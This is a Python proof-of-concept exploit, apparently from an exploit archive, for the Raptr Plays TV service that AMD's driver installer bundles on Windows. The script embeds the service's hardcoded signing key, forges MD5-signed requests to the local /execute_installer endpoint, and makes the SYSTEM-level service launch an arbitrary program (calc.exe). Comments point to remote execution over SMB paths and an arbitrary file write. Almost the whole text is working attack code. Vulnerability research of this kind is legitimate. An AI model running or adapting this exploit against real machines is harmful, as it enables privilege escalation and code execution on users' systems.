######################################################################## # http://support.amd.com/en-us/download?cmpid=CCCOffline - # Click "Automatically Detect - Download Now" # Installation Automatically Installs "Raptr, Inc Plays TV Service" # # OR # # https://plays.tv/download # # Target OS: Windows( Any ) # Privilege: SYSTEM # Type: Arbitrary File Execution # # Notes: Second minor bug allows for arbitrary file write of # uncontrolled data using the /extract_files path. # ######################################################################## #!/usr/bin/python3 import urllib.request import json import hashlib def check_svc( path, data ): #Setup request request = urllib.request.Request(addr) #add post data try: resp = urllib.request.urlopen(request, "data".encode("utf-8")) return "[-] Not Raptr, Plays TV service" except urllib.error.HTTPError as err: error_message = err.read().decode("utf-8") if error_message == 'Security failed - Missing hash or message[data]': return "[+] Raptr, Plays TV service" def post_req( path, data ): secret_key = 'a%qs0t33QgiE6ut^0I&Y' #Setup request request = urllib.request.Request(addr) json_data = json.dumps(data) m = hashlib.md5() hash_data = path + json_data + secret_key m.update(hash_data.encode('utf8')) hash_str = m.hexdigest() #add post data p_data = urllib.parse.urlencode({'data' : json_data, 'hash' : hash_str }).encode("utf-8") resp = urllib.request.urlopen(request, p_data) return resp.read() #Target IP address ip = '127.0.0.1' ############################################################## # The service binds to an ephemeral port defined at # [HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\PlaysTV\Service] ############################################################## port = 50452 ############################################################## # The service calls CreateProcess with the following format: # '"%s" -appdata "%s" -auto_installed 1' % (installer, appdata) # # One way to achieving remote code execution is to use SMB # cmd = "\\\\\\\\" ############################################################## cmd = "C:\\Windows\\System32\\calc.exe" #Local Execution data = { "installer": cmd, "appdata": cmd } #Set url path = '/execute_installer' addr = 'http://' + ip + ':' + str(port) + path #Check if the remote service is a Raptr Plays TV svc #ret = check_svc(data, path) #print(ret) #Exploit service ret = post_req(path, data) print(ret)